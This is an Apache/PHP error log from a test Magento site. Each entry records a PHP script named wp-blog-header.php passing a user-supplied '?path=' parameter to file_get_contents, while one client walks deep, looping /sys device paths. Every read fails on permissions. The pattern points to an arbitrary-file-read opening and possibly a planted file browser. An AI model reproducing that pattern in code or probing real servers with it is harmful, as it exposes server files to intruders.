[Thu Mar 26 11:53:47.253973 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/drivers/ec
[Thu Mar 26 11:53:54.733604 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 11:53:56.341052 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:be
[Thu Mar 26 11:53:57.850387 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/device:ee/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/device:ee/subsystem
[Thu Mar 26 11:53:59.970761 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:54:00.519518 2026] [php:warn] [pid 3106405] [client 74.7.241.26:36378] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/drivers/ec
[Thu Mar 26 11:54:07.732372 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:aa
[Thu Mar 26 11:54:09.302886 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:cc
[Thu Mar 26 11:54:10.874610 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/device:cc/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/device:cc/subsystem
[Thu Mar 26 11:54:12.568894 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:54:17.385992 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:ee
[Thu Mar 26 11:54:19.580565 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:54:21.623094 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:54:24.380139 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:54:26.446702 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ba
[Thu Mar 26 11:54:26.976445 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:fc
[Thu Mar 26 11:54:30.727083 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:aa
[Thu Mar 26 11:54:31.193015 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:ae
[Thu Mar 26 11:54:33.330882 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/drivers/ac
[Thu Mar 26 11:54:34.881278 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/drivers/ec
[Thu Mar 26 11:54:36.531158 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:fc
[Thu Mar 26 11:54:41.766545 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:54:42.814976 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:54:45.422774 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:ba
[Thu Mar 26 11:54:46.482054 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ca
[Thu Mar 26 11:54:47.031379 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/drivers/ec
[Thu Mar 26 11:54:50.976825 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/drivers/ac
[Thu Mar 26 11:54:53.004076 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:54:55.209524 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:54:57.329301 2026] [php:warn] [pid 3107086] [client 74.7.241.26:33494] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:55:04.998509 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:55:06.990545 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:ba
[Thu Mar 26 11:55:08.574222 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/drivers/ac
[Thu Mar 26 11:55:09.687575 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:55:10.224729 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:55:14.331959 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:be
[Thu Mar 26 11:55:14.844464 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/device:ae/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/device:ae/subsystem
[Thu Mar 26 11:55:16.987279 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:55:19.138759 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/drivers/ec
[Thu Mar 26 11:55:20.204577 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 11:55:21.213979 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:ba
[Thu Mar 26 11:55:21.779866 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:ca
[Thu Mar 26 11:55:25.487056 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:55:25.985717 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:dc
